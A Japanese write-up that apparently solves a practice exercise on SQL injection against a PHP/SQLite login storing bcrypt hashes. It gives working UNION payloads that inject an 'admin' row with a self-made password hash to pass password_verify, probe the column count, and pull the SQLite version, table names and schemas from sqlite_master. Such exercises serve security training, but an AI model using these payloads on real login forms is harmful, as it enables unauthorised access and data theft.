パスワードがハッシュ値で保存されているサイトのSQLインジェクションによる認証回避の練習問題の解答を考える
以下の記事の解答を考える。
解答
UserID: ' union select 1, 'admin', '$2y$10$1tRWeeNLn0ymCSYbvxyhZ.qix/anO0UqBT/iKgUDgpjN2ArU4ejSC', 'email
Password: hoge
これを入力すると、
adminとしてログインできる。
解答の作り方
Passwordは適当な文字列にして、そのPasswordに対して、password_hash関数でハッシュ値を作成する。
$ php -r 'echo password_hash("hoge", PASSWORD_DEFAULT);'
$2y$10$1tRWeeNLn0ymCSYbvxyhZ.qix/anO0UqBT/iKgUDgpjN2ArU4ejSC
UserIDの方を
' union select 1, 'admin', '<Passwordのハッシュ値>', 'email
とすれば良い
何をやっているのか
SQL文が
select * from users where userid = '' union select 1, 'admin', '$2y$10$1tRWeeNLn0ymCSYbvxyhZ.qix/anO0UqBT/iKgUDgpjN2ArU4ejSC', 'email';
となって、空の結果(select * from users where userid = '')とこちらが指定した1行のみの結果(select 1, 'admin', ...)のUNIONになり、後者のみの結果となる。
その結果以下のPHPコードの$user['password']
は指定したハッシュ値になり、$password
の方は入力したパスワードなので、password_verifyの結果はtrueになる。
if ($user && password_verify($password, $user['password'])) {
echo "ログイン成功:" . htmlspecialchars($user['userid']);
} else {
echo "ログイン失敗";
}
追記部分
ソースコードの情報は使ってよい想定ですが、ソースコードの内容に依存しない解法も考えてください
上記解答はカラムの数、型が既知であることを前提としているが、型についてはsqliteは自動的に型変換される問題なさそう。
カラムの数については以下のように1カラムでUNIONをとると
UserID: ' union select '$2y$10$1tRWeeNLn0ymCSYbvxyhZ.qix/anO0UqBT/iKgUDgpjN2ArU4ejSC
以下のようなエラー画面になる。
そのため、エラーにならなくなるまで以下のようにカラム数を増やしていけば、4カラムで認証成功まではいける。
UserID: ' union select '$2y$10$1tRWeeNLn0ymCSYbvxyhZ.qix/anO0UqBT/iKgUDgpjN2ArU4ejSC', '$2y$10$1tRWeeNLn0ymCSYbvxyhZ.qix/anO0UqBT/iKgUDgpjN2ArU4ejSC
その後、どのカラムが認証に使われるのか、どのカラムが認証後に表示されるのかも総当たりで見つけることができる。
SQLインジェクションを使ってSQLiteのバージョンを表示してください
select sqlite_version()
を使う。
UserID: ' union select 1, sqlite_version(), '$2y$10$1tRWeeNLn0ymCSYbvxyhZ.qix/anO0UqBT/iKgUDgpjN2ArU4ejSC', 'email
Password: hoge
SQLインジェクションを使ってテーブル情報(テーブル名や列名など)を表示してください
sqlite_masterテーブルを使う。type=tableのnameカラムにテーブル名が保持されている。
UserID: ' union select 1, (select name from sqlite_master where type = 'table' limit 1 offset 0), '$2y$10$.zzofZomIzstjuNHPWKWsO8Kh.oUdmQ4ST9ZG8uye8vPk5fvfvDH6', 'email
Password: hoge
複数テーブルがある場合はoffsetを変更していく。
テーブルのスキーマやカラム名はsqlカラムから取得できる。
UserID: ' union select 1, (select sql from sqlite_master where type = 'table' limit 1 offset 0), '$2y$10$.zzofZomIzstjuNHPWKWsO8Kh.oUdmQ4ST9ZG8uye8vPk5fvfvDH6', 'email
Password: hoge
Discussion